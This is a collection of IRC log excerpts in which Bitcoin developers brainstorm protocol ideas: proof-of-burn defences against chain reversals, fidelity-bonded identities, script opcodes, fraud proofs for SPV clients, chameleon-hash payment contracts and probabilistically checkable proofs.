22:54 < gmaxwell> petertodd: so interesting. lets say you have a relatively jam free network. A bad chain shows up. You issue transactions that burn all your coin, checkpointed so they can only exist in the bad chain. How do nodes know when they've seen enough of that to start ignoring that chain?
22:55 < petertodd> gmaxwell: Basically if burned coins == pow mined coins, the chain with the burned coins is considered to be the longest and wins.
22:55 < amiller> temporarily rents an infinite hashpower is fine as long as it's temporary
22:55 < amiller> you can only rewind so many blocks then everything goes on as usua
22:55 < amiller> "has the majority of the hash power forever" is not an attack worth defending against!
22:56 < amiller> figure out the size of your attacker's military and then build 1+ more than that!
22:56 < petertodd> gmaxwell: Note how this doesn't suffer as much from the direct "nothing at stake" aspect of proof-of-stake, because you're not directly gaining from the sacrifice.
22:57 < amiller> if you want to cut costs by being optimistic that your attackers aren't going to be so powerful then great
22:57 < petertodd> amiller: if P=
and t=0 then we're safe, maybe :P
22:57 < amiller> lets just hope no one can afford 6 blocks, since that's what all the gold sells for (i think)
22:57 < petertodd> amiller: Yeah, as I say, so long as finding out we're wrong is something that can be fixed before the value of the coin plummets sufficiently that the whole system collapses we're good.
22:58 < amiller> sure just give the attacker what he wants
22:58 < gmaxwell> amiller: nah, the gold will notice a reversal dozens of blocks later, as I believe they check preshippment.
22:58 < amiller> then 24 hours or w/e?
22:58 < gmaxwell> amiller: but within 24 hours you'll hear that shit is busted.
22:59 < gmaxwell> and manually halt shipments.
22:59 < petertodd> amiller: well, that's an interesting thing, because the reversal attack can be handled with replace-by-fee scorched earth: wallets don't want the chain to go backwards, so they can respond by saying "well, if we have this chain, I'm happy to burn the money I received to increase the apparent work done by the "valid" chain"
22:59 < gmaxwell> petertodd: keep in mind the threat of people shorting the assets.
22:59 < petertodd> gmaxwell: yeah, lots of second order effects
22:59 < amiller> petertodd, if everyone burns 10% of their income
22:59 < amiller> petertodd, then no one has lost anything
22:59 < amiller> this doesn't work with fiat money
23:00 < amiller> (by fiat money i mean bitcoin, money not a commodity, the whole fiat=state thing is a misnomer, but sorry)
23:00 < gmaxwell> presumably only those fucked by the fork would burn money.
23:00 < petertodd> gmaxwell: I suspect in reality we'll never get a system that won't result in a few hours to days of chaos, but societies recover from that kind of thing all the time.
23:00 < amiller> petertodd, what you're saying is you want a cheap defense
16:59 < jgarzik> Then, the IRC bot would just ask for the user's identity token, verify that via ECDSA message, and proceed to add a new user to the bot-bank (or permit that user to access their existing account)
16:59 < jgarzik> i.e. makes identity separate from the service itself
17:00 < jgarzik> separate from the fidelity bonded banks itself, but an IMO necessary component
17:00 < jgarzik> anyway, should be straightforward, just wondered if anybody had done this before
17:02 < petertodd> Ah, cool, yeah seems reasonable.
17:05 < petertodd> jgarzik: Was my stuff on fee's useful?
17:06 <@gmaxwell> jgarzik: make sure you familarize yourself with what mozilla persona is doing wrt email bounded network identity.
17:08 < jgarzik> gmaxwell: will check it out
17:09 < jgarzik> petertodd: Basically, I was considering burning money as public proof that you "made an effort" to create this network identity
17:09 < jgarzik> and as such, those transactions might be fee-only sometimes, if there is no change
17:09 < petertodd> jgarzik: Right, sounds like fidelity bonds exactly.
17:09 < petertodd> fee-only sometimes?
17:10 < jgarzik> petertodd: if the proof (to be paid as fee) is 0.01 BTC, and you have only a 0.01 BTC coin, then (in theory) you have 1 input, 0 outputs
17:10 < jgarzik> but that is not permitted, and zero-value outputs are non-standard.
17:10 <@gmaxwell> jgarzik: I don't think a zero output txn is valid.
17:10 < jgarzik> gmaxwell: hence "that is not permitted"
17:11 < jgarzik> gmaxwell: and "(in theory)"
17:11 < jgarzik> Thus, what I want is not permitted, and a workaround must be found
17:11 < petertodd> So why not add a second input to the transaction?
17:12 < jgarzik> petertodd: it needs an output, not an input
17:12 <@gmaxwell> So, lets permit txn that have a single output, which is zero value, and the output is OP_RETURN (or whatever we want the prunable type to be)
17:12 < jgarzik> gmaxwell: that would work
17:12 < petertodd> jgarzik: The second input to get more funds, so the output is not zero valued.
17:12 <@gmaxwell> basically a UTXO cleaning transaction.
17:12 < petertodd> Or is the output supposed to not be spent or something?
17:13 < jgarzik> petertodd: the purpose -- burn money -- is all I need
17:13 < jgarzik> petertodd: therefore, no outputs are needed
17:13 <@gmaxwell> petertodd: the problem is that if you can have other outputs means that I can't tell you sacrifice from a regular txn fee.
17:13 <@gmaxwell> s/you/your/
17:13 < petertodd> Yeah, and fees in general can be gamed by miners anyway, you really need a publish-wait-confirm sequence.
17:14 < petertodd> Why not just use the fidelity bond protocol directly?
17:14 < jgarzik> still have to digest it, and see if it fits the irc-bot use case
17:14 < jgarzik> I also think a cross-service network identity would be useful
17:15 < petertodd> Well, for the identity case, it's basically proving in a very robust way the fees attached to some hash, so I think it should be fine.
17:15 < petertodd> And if fidelity bonds become a thing, you'll be able to buy them easily enough, and securely, with a tx signed by multiple parties.
17:15 < jgarzik> basically attaching a cost to creating a network identity (though obviously a more centralized service might just charge a fee)
17:15 < petertodd> Well, you know I really think fidelity bonds solves that one very well.
17:16 < jgarzik> your writeup is open in my browser ;p
17:16 < petertodd> Best case possible is you need three tx proofs, proof of publish, proof of txin, and proof of the txout sacrificing the fees.
17:22 < jgarzik> It might also help to describe the use case I was thinking about
17:22 < jgarzik> I obtain a network identify U12345678 (and can pay for any number of network identities)
17:23 < jgarzik> U12345678 messages the Foo Bank Network, which maintains a provable, shared ledger of accounts
17:23 < jgarzik> messages are signed with keys associated with U12345678 network identity
17:24 < jgarzik> messages are "open account, withdraw, deposit" etc.
17:24 < jgarzik> Foo Bank Network might be one entity, but hopefully it is multiple entities
17:24 < petertodd> Right
17:24 < jgarzik> off-chain transactions are then possible, everything is digital signed and secured, and not 100% centralized
17:24 < petertodd> So why do you need to make the client's identity expensive to get?
17:25 < jgarzik> because identity is decoupled
17:25 < petertodd> from what?
17:26 < jgarzik> so you don't need a new login for each service
17:27 < petertodd> Sure, but again, why does the identity have to be expensive?
17:27 < petertodd> (if it's just for banking)
17:37 < HM> I think I prefer Schnorr signatures to DSA
17:37 < jgarzik> I want a semi-decentralized database for the identities, so there needs to be some cost for creating 1,000,000 identities
17:38 < petertodd> Ah, yeah that's totally reasonable
17:38 < jgarzik> another part in this is a layer where you may message easily between two network identities
17:38 < jgarzik> a _little bit_ like bitmessage
17:38 < petertodd> Do you want an identity to essentially give you the right to message a given amount of traffic per day, or what?
17:38 < jgarzik> the identities have some permanance
17:39 < jgarzik> petertodd: at the moment, just "the right to message" is sufficient, but that needs more thinking
17:39 < jgarzik> anyway, gotta tour some real estate, bbiah
17:39 < petertodd> Have fun, say hi to the kid for me. :)
18:21 < HM> actually I don't think you can do public key recovery on Schnorr signatures
18:25 < HM> In DSA you rely on the fact that 'r' can be used to determine kG (to within a few possibilities)
18:25 < HM> under Schnorr you lose r in a hash function
18:27 < HM> it's also cheaper to compute
18:28 < HM> (by one bigint division)
19:03 < HM> bollocks i was right the first time
19:03 < HM> you can recover public keys
19:04 < HM> wait, i have to make my mind up on this for good
19:06 < HM> nope, i was definitely right the 2nd time
19:08 <@sipa> i don't see how you could do key recovery with Schnorr signatures
19:08 < HM> thank you
19:08 < HM> lol
19:08 < HM> what I did was arrange for validation assuming you knew the public key
19:08 < HM> then sub back in the result and arrange for that public key :|
19:10 < HM> twice
19:10 < HM> basic algebra beat me twice
19:12 < HM> ah well, i've done it now. You can arrange for sG in both DSA and Schnorr and show you need to solve the DLP to fake a signature
21:44 < jgarzik> petertodd: MerkleBitcoinTx uses block number rather than block hash. why?
22:00 < petertodd> jgarzik: The blockchain is linear, so the block hash doesn't let you prove anything.
22:00 < petertodd> jgarzik: Granted, if it wasn't linear, like some sort of merkle skiplist or merkle mountain range, then a hash would make more sense.
22:01 < petertodd> jgarzik: Maybe just a premature optimization... submit a pull req, lol.
22:09 < jgarzik> petertodd: <shrug> maybe just being pedantic. the text said 'just like CMerkleTx', which is slightly incorrect
22:09 < petertodd> Hey, it's a spec, be pedantic.
22:10 < petertodd> Where did I go wrong?
22:10 < jgarzik> petertodd: "This is the same data that the CMerkleTx class contains"
22:11 < jgarzik> petertodd: CMerkleTx includes block hash not block index
22:11 < petertodd> Yup, you're right, I'll fix it.
22:15 < petertodd> alright, I'll push to the server when I'm back from work and have access to my gpg keys...
22:18 < jgarzik> petertodd: any demo code?
22:19 < petertodd> Not yet sorry; I wanted to add unit tests and better ways to create transactions to pynode, and got distracted...
22:20 < petertodd> BTW: re: cython, I found a compiler bug in it, which kinda scared me off for now...
22:30 * jgarzik ponders. N bots, cooperating but separate, independent entities (such as managing my identity service). Service must accept bitcoins from users, and therefore, any one of N bots must be able to generate a "you are authenticated; send X bitcoins to address 1YYY..."
22:31 < jgarzik> Can such a botnet survive a cheater?
22:31 * jgarzik tries to think of ways to centrally generate and share bitcoin addresses
22:31 < jgarzik> and prove a bot is cheating in short order
22:33 < jgarzik> on the other end, need to share service fees to each bot, dividing up service revenue without cheating
22:47 < nanotube> as to using irc bots as money keepers... keep in mind that you also have to trust the irc server operators (and irc server security, and bot security, but these two are obvious)
22:48 < nanotube> an irc oper can send and/or modify and/or block any messages coming through.
23:04 < jgarzik> nod
23:05 < weex> those deterministic wallets should work, the one where you have a public seed and private seed
23:09 < weex> or you just have the head bot sign each address
23:10 < jgarzik> need N-of-M security
23:10 < weex> like shamir's secret sharing?
23:10 < jgarzik> head bot == centralization, not distributed consensus
23:10 < weex> http://en.wikipedia.org/wiki/Secure_multi-party_computation
23:11 < weex> i want to watch this tech talk on it again sometime http://www.youtube.com/watch?v=LRAN_w1_qmw
23:20 < jgarzik> ok, more generally
23:20 < jgarzik> you have The Fund
23:21 < jgarzik> (a pool of bitcoins)
23:21 < jgarzik> You must generate new bitcoin addresses, to hand out to end users, from The Fund
23:21 < jgarzik> and The Fund must pay out according to pre-described rules
23:22 < jgarzik> The Fund is managed collectively by N parties, cross-checking each other.
23:22 < jgarzik> Can cheating by 1 party be prevented, in either of the two tasks (obtain new btc addr for customers, pay out to investors)
23:24 < jgarzik> One could hand out MITM BTC addrs, but that would be noticed as cheating when the party wanted to claim a payment has entered The Fund
23:25 < jgarzik> But creating the BTC addrs themselves... you still have the problem of private key distribution (or seed)
16:38 <@petertodd> That's really useful actually: means you can provide constantly updating refund scripts, that check for some given state of the txout set of something.
16:39 <@petertodd> Without having to screw with on-chain state.
16:40 <@petertodd> So, my bonded bank could say "Here's the script you need to run to get your coins back, but it's only good as long as the refund txouts I'm going to fund it for exist, but I can give you another one later."
16:40 < BlueMatt> but if you can specify any script that is signed, how is it different from just requiring the signature?
16:40 < BlueMatt> because you could otherwise just specify a OP_TRUE script that is signed
16:40 <@BlueMatt> its interesting in that you could give a 3rd party a signed script then they could spend that
16:41 <@petertodd> Because the script itself can check for constantly changing conditions so it can invalidate itself in the future.
16:41 <@petertodd> I was thinking of a crappy version of this with transactions that dependened on special txouts; spend the txout and the transaction is now invalid.
16:41 <@BlueMatt> but in that case, why not just send the coins to them?
16:42 <@petertodd> Because it's for refunds. You want the general case to be done off-chain, with on-chain possible.
16:43 <@petertodd> Basically the bank would control the state of the refund scripts with a single special txout, and then spend it or whatever to invalidate a whole swath of refunds pending in one go.
16:43 <@petertodd> (I'm assuming something like a ISTXOUTUNSPENT opcode)
16:43 <@petertodd> (which has other implications...)
16:43 <@gmaxwell> yea, yuck. :P
16:43 <@petertodd> Hey, give me more than 30 seconds to come up with a use-case... :P
16:44 * BlueMatt isnt sure of all the stuff we are building this on, but I was assuming the standard scripts-only-access-themselves stuff we use now
16:44 <@BlueMatt> maybe I should read scrollback longer....
16:44 <@petertodd> It is important to keep in mind what Satoshi said ages ago about always allowing transactions to get reorged and accepted into the chain later though.
16:44 <@petertodd> BlueMatt: no, we're getting way more wizard than that.
16:45 <@BlueMatt> thought so...Ill shut up now
16:45 <@petertodd> Nah, just smoke some of this and you'll be good.
16:45 <@BlueMatt> heh, ok
16:45 <@gmaxwell> BlueMatt: well mostly I created this channel for the rocket science which is two steps removed from current Bitcoin. So what bitcoin currently does is only slightly relevant
except to the extent that there is a good reason for it to be done that way.
16:46 <@petertodd> Basically we're gonna create SCAMCOIN and stuff all our dreams into it.
16:46 <@BlueMatt> ok, ok
16:46 <@gmaxwell> I find this stuff important and interesting, but sometimes this discussion floods bitcoin-dev, and I'm concerned that people who are only interested in bitcoin shouldn't get denied access to monitor #bitcoin-dev due to the flood of cryptocoin dreaming.
16:47 <@BlueMatt> thats fair
16:47 <@petertodd> Like, I've contributed maybe 5 lines of code to Bitcoin proper, and 10k lines of dreaming to bitcoin-dev
16:47 <@gmaxwell> plus some of the ideas that the crazy stuff results in are directly applicable to the current system, and we can then bring those back from the mountain tops as required.
16:48 <@petertodd> Lots of this stuff can be done as a soft-fork...
16:49 <@gmaxwell> 'can'... well. Kinda. You can change the script system as a soft fork, but if your change results in 100kb scriptsigs ... thats not a softfork.
16:49 <@gmaxwell> that's not even really 'just' a hardfork, it requires changing the security model.
16:49 <@BlueMatt> anyway...back to the point, if we are accessing outside state, being able to provide signed scripts would be interesting..."either spend this within the timeframe to get out of X, or dont and then you are locked"...assuming signed data can enforce a spend time limit
16:50 <@petertodd> Oh, reminds me, if we define a CHECK_SCRIPT_VERSION type opcode, to be used with new stuff in if endif blocks, we can really change anything but the else if, endif, "invalid even in a block" and finally data encoding opcodes.
16:50 <@BlueMatt> though thats probably not pie-in-the-sky enough...
16:50 <@petertodd> Basically, we're not gonna run out of opcodes.
16:51 <@gmaxwell> BlueMatt: maxtimes create some weird incentives, though I wish I knew the full reasons satoshi didn't want them.
16:51 <@petertodd> gmaxwell: Absolutely, 10k limit on scripts for these dreams...
16:51 <@petertodd> maxtimes?
16:51 <@petertodd> oh, right
16:51 <@BlueMatt> gmaxwell: yea, breaks reorgs sometimes, but I dunno, get the time spent signed by oracle
16:51 <@petertodd> See, my understanding is Satoshi mainy was against the reorg breaking problem.
16:51 <@BlueMatt> s/by oracle/by an oracle/
16:52 <@petertodd> I dunno, I gotta agree with him there.
16:52 <@BlueMatt> (hopefully oracle isnt your oracle......)
16:52 <@petertodd> You could wind up invalidating everything, on the other hand, tx maleabilty also breaks reorgs...
16:52 * petertodd wonders if satoshi realized tx's were maleable from the beginning
16:53 <@BlueMatt> I dont think that was on purpose, if he did
16:53 <@sipa> i don't think he realized the problems with malleability
16:53 <@gmaxwell> I don't know, he must have known that you could stuff in extra opcode.. I doubt he knew the signatures themselves were malleable.
16:53 <@sipa> he also didn't consider hardforks to be a problem :)
16:53 <@gmaxwell> they would have been less of a problem two years ago.
16:53 <@BlueMatt> to be fair, early in bitcoin's life they werent
16:54 <@gmaxwell> Right.
16:54 <@sipa> indeed
16:54 <@petertodd> He did have the mindset of "one true client" is my understanding.
16:54 <@gmaxwell> That makes hardforks less bad.
16:54 <@sipa> one true full client, atleast
16:54 <@petertodd> He wasn't the one who added RPC right?
16:54 * BlueMatt 's head spins with the amount of cross-client cooperation that would be required for a hardfork now
16:55 <@gmaxwell> BlueMatt: Dunno, the software that is actually maintained is not that long a list. :(
16:55 <@BlueMatt> gmaxwell: even still...
16:55 <@BlueMatt> and its getting better quite quick, too
16:55 <@sipa> bitcoind, bitcoinj
16:55 <@BlueMatt> jgarzik's stuff
16:55 <@sipa> anything else?
16:55 <@sipa> bitsofproof maybr
16:55 <@BlueMatt> not used, but at least maintained
16:56 <@gmaxwell> bitcoind, bitcoinj is all I'm aware of that I believe is complete and maintained right now.
16:56 <@petertodd> jgarzik's stuff has broken scripting too - various really major bugs
16:56 <@sipa> libbitcoin may be still alive
16:56 <@petertodd> (which I need to fix...)
16:56 <@sipa> libcoin too
16:56 <@gmaxwell> bitsofproof,cbitcoin,jeff are incomplete but maintained. then libbitcoin, libcoin, bitcoinjs are complete and unmaintained
16:57 <@BlueMatt> oh, random question, how do people feel about implementing upgradability in bitcoinj so that spv clients can semelessly upgrade to full nodes?
16:57 <@gmaxwell> and purecoin, pybitcoin is incomplete and unmaintained,
16:57 <@petertodd> Even non-mining full nodes scare me
16:57 <@petertodd> Until there are multiple network implementations, propagation bugs can effectively cause forks
16:58 <@gmaxwell> BlueMatt: sounds good? One thing I'd like to see happen with the validation support in bitcoinj is badness proof support. There are three main kinds I'd like to see, and two are possible today.
16:59 <@petertodd> https://github.com/mb300sd/Bitcoin-Tool/ <- this is new too
16:59 <@BlueMatt> gmaxwell: elaborate?
17:00 <@BlueMatt> actually, bbl
17:00 <@gmaxwell> e.g. you're a regular spv node, someone then gives you a message that says <block XXX is bad, here is a transaction and a fragment, run your script checker and you'll see>
17:00 <@petertodd> https://github.com/mb300sd/Bitcoin-Tool/blob/master/Bitcoin%20Tool/Scripts/Script.cs <- C# script implementation
17:00 <@BlueMatt> Ill read scrollback
17:01 <@gmaxwell> BlueMatt: so then you check the fragment and verify the transaction is in the block .. then run your script checker... and the script fails validation. Then you broadcast the message to all your peers, and add thta block to a blacklist that makes you forever reject it.
17:01 <@gmaxwell> The three kinds of proof that I think are most interesting: Proof that a script doesn't validate, proof that the blocks contain a double spend (just two fragments, the later and earlier spends), and proof that the coinbase took too much subsidy.
17:02 <@gmaxwell> The last can't be done without a protocol change, preferably a hardfork. :(
17:02 <@gmaxwell> but it's really easy with a hardfork.
17:04 <@gmaxwell> In any case, the point of all this is: (1) in a world where most people run SPV nodes, if we have this then even a full honest full nodes would provide strong protection. (2) it would allow reduced nodes to participate in validation some. e.g. check 1% of signatures.
17:07 <@petertodd> "Proof that a script doesn't validate" <- any script proposal that allows for queries of any type needs to take the requirements of SPV proof for those queries into account very carefully.
17:07 <@petertodd> For instance, "Does UTXO exist? (but we're not spending it)" requries the UTXO set proofs.
17:08 <@petertodd> Ugly
17:10 <@petertodd> Easy to force really large proofs too...
17:14 <@amiller> i don't see what you mean easy to force large proofs
17:17 <@petertodd> Consider the scriptPubKey: "UTXO_EXISTS <DIGEST>", 33 bytes, yet each proof for each digest will be hundreds of bytes long, if not even more
17:17 <@petertodd> It's a big multiplier
17:17 <@petertodd> (even worse if the proof has to include the whole script...)
17:17 <@petertodd> (er, I mean transaction)
17:18 <@petertodd> like UTXO exists and it has some given output
17:18 <@amiller> gmaxwell, chanserv op add me so i can massage the channel topic?
11:29 < adam3us> luke-jr: but one sided properties are commonly in the users interests, because the merchant commonly has more power
11:29 < adam3us> luke-jr: eg payer anonymous ecash is more popular than payee anonymous (or double anonymous) its something analogous
11:30 < HM2> hmmm
11:30 < adam3us> luke-jr: the merchant should not be able to go rogue and out everyone''s ebook purchases or get hacked for the same info
11:30 < Luke-Jr> huh? I've never seen a person<->company contract that's in the person's favour
11:30 < adam3us> luke-jr: and thats a good thing?
11:30 < Luke-Jr> no, but I don't think reversing it is the solution :p
11:31 < adam3us> luke-jr: my point is it is in the users interests to have a chameleon hash signature
11:31 < adam3us> luke-jr: i dont think the merchant loses anything, he's receiving irrevocable bitcoin ecash
11:31 < Luke-Jr> I suppose in this case
11:31 < adam3us> luke-jr: its obvious he got his part of the contract
11:31 < HM2> Why not just take a hash of the contract and sign it. If Bob screws you you can show the world the contract and signature.
11:32 < HM2> err get Bob to sign it rather
11:32 < Luke-Jr> but it wouldn't make sense for long-term contracts
11:32 < adam3us> hm2: thats not a bad idea
11:32 < HM2> if Bob can't prove that there ever was a specific contract, what's the point in getting Alice to sign anything?
11:33 < adam3us> hm2: an interesting question.. maybe gmaxwell's argument is unravelling!
11:34 < adam3us> hm2: absent ecash component youd think bob needs to have an authenticated order or someone could tamper with it or change it
11:34 < HM2> I mean, you're basically after a 3rd party/publicly verifiable signature only when you know 1) the people involved, 2) and the hash of the terms. That just sounds like vanilla Schnorr signature to me.
11:34 < adam3us> hm2: but that could be more easily done, eg encrypt and MAC the message consisting of he order, and the bitcoin payment
11:35 < adam3us> hm2: and send it to bob, job done, no chameleon hash in sight
11:35 < adam3us> hm2: (and upfront demand bob sign the order details as a condition of paying him)
11:36 < adam3us> hm2: well you're also trying to prevent bob proving to third parties what his customers bought for their privacy
11:37 < adam3us> hm2: but it seems unecessary per above to use a chameleon hash, like you said get bob to sign it, then use integrity protection and encryption to prevent order tampering
11:37 < adam3us> hm2: i suppose that doesnt bind the contract to the receipt of the payment
11:37 < HM2> If Bob can't prove that Alice signed an order to someone else, what's to stop someone impersonating Alice and making orders?
11:38 < HM2> Alice can easily prove she did sign something, but how can you prove you didn't if Bob claims she did?
11:38 < adam3us> hm2: well on top of that alice is paying bob binding the hash to bobs payment address
11:39 < adam3us> hm2: alice is not revealing her identity
11:39 < HM2> I'm not following it at all
11:39 < adam3us> hm2: she is just binding a payment to a contract pseudonymously, so she could prove afterwards that she made this payment, and bob knew the contract terms
11:41 < adam3us> hm2: i mean its like ebay a bit alice pays bob for the ebook, he doesnt deliver or the connection mysteriously 'fails" she gets annoye and posts at least evidence that she paid for the book, and tht bob accepted the money so also saw the order details and accepted them by taking her money
11:42 < HM2> ok
11:42 < HM2> I think I'm with you now
11:43 < adam3us> hm2: i think if we did it the other simpler way, where bob signs the order, bob could deny all knowledge
11:43 < HM2> If a seller has a private key 's', and you have some contract c = Hash(terms). the buyer can pay to c*sG
11:43 < HM2> the buyer then has to know c*s to claim the funds
11:43 < adam3us> hm2: eg no alice owed me $2 personally that payment is unrelated to this disputed ebook as the two re not bound together
11:44 < HM2> at any pointer the seller can publish "terms", c, and sG and prove it
11:44 < HM2> why the complexity?
11:44 < HM2> i got buyer and seller around the wrong way, but still
11:45 < adam3us> hm2: i think you need to bind the things together so bob cant start to tell tall stories about how the payment he did receive (he cant deny as the payment is public) was for something else
11:45 < HM2> how could he?
11:46 < adam3us> hm2:well if there was no chameleon hash sig, just a normal sig from bob on the contract, bob could say "yes, and she never paid for it", and "oh that payment was for something else, i lent her money the other ay"
11:46 < HM2> I guess it becomes public that Alice sends a payment to c*sG so privacy is lost
11:47 < adam3us> hm2: no that can be ok eg c is H(r=random, contact)
11:47 < adam3us> hm2: without either party disclosing r thats indecipherable
11:47 < HM2> but both parties need to know r
11:47 < adam3us> hm2: yes thats where the risk comes because then bob could disclose it and alice doesnt trust him
11:47 < HM2> the contract is really decided by the seller and accepted by the buyer
11:48 < adam3us> hm2: so with the chameleon hash bob can change c after the fact
11:48 < HM2> hmm
11:48 < adam3us> hm2: c is fixed but he can find new r' and contract' that still add up t c because he has the private key so its not very convincing when he says look this payment was for ebook1
11:48 < adam3us> hm2: and then alice says no thats a lie it was for ebook2
11:49 < HM2> right
11:49 < adam3us> hm2: and as everyone presumes alice doesnt have bobs private key, they presume bob is lieing
11:49 < adam3us> hm2: so it seems that it does hang together though its a bit complicated!
11:50 < adam3us> hm2: and if you find another way to do it that has the same properties u probably have invented yet another chameleon hash - apparently there are multiple mechanisms
11:52 < HM2> I'm not convinced
11:54 < HM2> If one party can say "no this transaction wasn't for X, it was <insert anything>!" then they lose the ability to prove it was for any specific thing and the other party can screw them by sending them something else
11:54 < HM2> the burden of proof is then on the sending party to prove they sent the right thing
11:55 < HM2> but if they refuse to do so there's basically no come back
11:55 < HM2> if they screw say 1% of people nobody will find it suspicious
11:55 < HM2> they'll just think the party that can't prove the specific contract terms is the shifty one
11:56 < HM2> even though that may not be the case
11:57 < HM2> surely it's just easier if both parties remain pseudo-anonymous to one another and all contracts are verifiable by all
11:59 < nanotube> <HM2> I can't remember if it was one of the BC books or Cryptonomicon that had the offshore data haven project <- it was cryptonomicon. :)
12:00 < HM2> it appears there are a lot of Neal Stephenson fans in bitcoin :P
12:01 < HM2> who'dve thunk it
12:02 < nanotube> hehe
12:04 < HM2> talking of contracts
12:04 < HM2> i foolishly sold a TV on ebay the other week and the guy picked it up and paid cash. I gave him a receipt but i never got one from him
12:04 < adam3us> hm2: if only bob can forge contracts, whatever alice says is true
12:04 < HM2> no problems yet but he could potentially screw me
12:05 < adam3us> hm2: because there should not exist two contracts unless bob is playing games
12:06 < HM2> I actually offered to accept bitcoin and he looked at me strangely
12:06 < adam3us> hm2: i mean technically bob could change the contract to something of higher value and alice cold then falsely claim that equally plausibly but thts against bobs interests so he probably wont do it
12:09 < adam3us> hm2: "surely it's just easier if both parties remain pseudo-anonymous to one another and all contracts are verifiable by all" yes but unfortunately bitcoin is not payer anonymous
12:10 < adam3us> hm2: otherwise alice could create a new identity for the transaction, as is bitcoin largely links all payments to the true name for anyone who touches an exchang or a physical delivery purchase ever
12:10 < HM2> it is if you establish 2 wallets and don't transfer between them
12:10 < HM2> you just need to figure out a way to create closed loops
12:10 < adam3us> hm2: yes, but hwere are you going to get the money from
12:10 < HM2> I don't know
12:10 < adam3us> hm2: i agree if you have two pseudonyms that are isolated you can do it
12:10 < sipa> obviously from the bitcoin internal economy
12:10 < sipa> without any exchanges involved
12:11 < sipa> (i'm only half joking)
12:12 < HM2> a blind token system wouldn't be that hard to introduce would it? in a new protocol.
12:12 < HM2> withdraw a coin, deposit it a few days later, it's blind so nobody can connect the 2
12:12 < adam3us> sipa: i'm yet to get paid in bitcoin... but yes for bitcoin to become more self sustaining it could have more internal commerce, and a high enough number of people using it, that its easy to do in person cash in / cash out.. eg if everyone knows someone else in their extended friends family with bitcoin
12:13 < adam3us> sipa: i mean to get past a point where it would run fine even if most exchanges went offline, there is a point past which that can happen i think
12:13 < adam3us> sipa: i wonder how far out... a few years?
12:13 < sipa> adam3us: i have no clue
12:13 < sipa> bitcoin may grow there rapidly, or perhaps it runs into scaling issues before we get remotely close to that
12:13 < adam3us> hm2: the anonymous mixes are a bit restricted by the size of the anonymity set
12:14 < sipa> or some other non-technical issue appears (legal?) that pretty kills interest in it
12:14 < adam3us> hm2: you're only as anonymous as the number of other users minus nsa plant traffic
12:14 < HM2> well that goes for current pseudoanonymity as well
12:15 < adam3us> hm2: one idea is to run zerocoin as an alt-coin... nothing but zerocoins
12:15 < HM2> zerocoin is too far outside my knowledge range
04:54 < gmaxwell> I'm pretty sure I know how to boost such a proof to arbritary soundness using an error correcting code... but the POW might end up being rather large (tens of kb) for 128 bit security.
04:54 < petertodd> gmaxwell: Yeah, I came up with that idea myself, and as far as I could tell you get into a situation where "fraud" in the NI proof is what allows you to parallelize the problem.
04:55 < petertodd> gmaxwell: I don't know anything about error correction though.
04:55 < petertodd> sipa: Yes! Like my example of a consensus currency system where you just write transactions down on post-it-notes and hope everyone is honest...
04:55 < gmaxwell> petertodd: yes, thats always the problem you get unless you have a local test of the proof with probably of detecting fraud of at least p=0.5, once you have that you can boost up to make fraud simply infeasable.
04:56 < petertodd> gmaxwell: So how do these error correcting codes work?
05:00 < gmaxwell> petertodd: by expanding the state with additional binary relations e.g. parity checks which also must be true if the data is valid (it's easy to see how you can do that for a simple greater than or equality relationship). If you expand enough with the right structure the probablity of a random test (e.g. reading out one spot and the other values in the
proof it is the parity of) failing can be made 0.5. Once you achieve that, ...
05:00 < gmaxwell> ... fiat-shamirizing a couple dozen of these tests makes fraud infeasable.
05:00 < gmaxwell> easier to explain with a whiteboard.
05:01 < gmaxwell> sipa: the sleep makes me think of http://weknowmemes.com/wp-content/uploads/2011/10/i-am-not-a-clever-man-comic.jpg somehow. "YOU MADE A POW FUNCTION THAT CALLS USLEEP?" "I AM NOT A SKILLED CRYPTOGRAPHER"
05:02 < petertodd> gmaxwell: Hmm... we're getting dangerously close to leaving joe-random in the dust; I'm going to have to do some reading.
05:03 < petertodd> gmaxwell: I take it no-one has even attempted to do a dumbed down explanation of that stuff yet right?
05:04 < gmaxwell> petertodd: I can explain it to you, but there is no dumbed down explaintion of it. Worst, most things talking about are talking about building proofs for arbritary poly-time (or NP) languages.
05:04 < gmaxwell> one for this set of values is a sorted list would be much simpler, like I could reason that one out on a whiteboard without much trouble.
05:05 < petertodd> Yeah, I don't really know what an "arbitrary poly-time language" is :/
05:05 < petertodd> Sorted list sounds more promising. :)
05:11 < gmaxwell> lemme try the short explination over IRC, here is an example image representing an error correcting code http://www.spiral.net/hardware/graphics/tanner.gif message bits on the bottom, you feed them in and the wires just do xor, giving you those parity bits.
05:12 < gmaxwell> When you use them for communications you do things like take an errored message + parity bits, and construct the most likely message using some efficient decoding algorithim. But thats not relevant for using them in proofs.
05:13 < gmaxwell> if I gave you a message + parity, you could go and check all the edges and tell me easily if it was a non-errored message (and paritity), "A valid codeword for the system"
05:14 < gmaxwell> Thats straight forward. Turns out that if you construct a parity check matrix with the right graph structure (and a long enough ratio of parity bits to message bits), that if the codeword is invalid if you just just one or two bits (and their edges) that you'll have a 50% chance of detecting the error.
05:15 < petertodd> huh
05:15 < petertodd> and 50% iterated soon gets to nearly 100%
05:15 < gmaxwell> Right.
05:15 < petertodd> what kind of ratios are we talking about?
05:17 < petertodd> by "their edges" you mean the bits going into the XOR operation right?
05:17 < gmaxwell> yes.
05:17 < petertodd> which looks rather like a merkle tree...
05:17 < gmaxwell> Right, so there are graph transformations that take any existing error correcting code and expand it into the kind with the probablistically checkable structure. Generically they have quadratic growth, I believe, so they get big but they're regular.
05:17 < petertodd> "regular"?
05:18 < gmaxwell> repeated, e.g. you don't need to go and seralize out the whole thing. it's not a random graph.
05:19 < gmaxwell> so what you do is you write out a little set of booleian circuts to test your constrant and then outputs its truths, e.g. little binary comparitors.. And take this is a kind of degerate error correcting code. E.g. you've got inputs and then a bunch of 'true' outputs. And the constraints are all satisfied if and only if your data is good.
05:19 < gmaxwell> Then you take that graph and pass it through the transformation to one of these probablistically checkable graphs.
05:19 < gmaxwell> and then construct a merkle tree over it... and use the root of the tree to select your tests.
05:20 < gmaxwell> (because a parity check graph is just a satistifaction problem you can convert any program execution into one of these, but it gets inefficient fast)
05:21 < petertodd> so dumb question time: how do you know the circuits actually tested the constraint you thought they did? (given the partial information youre given)
05:22 < gmaxwell> validator knows the graph, it's fixed for the statement being proven. .. and all the state is under the proof.
05:22 < petertodd> right, because it's structure is regular?
05:22 < petertodd> (like a merkle tree would be)
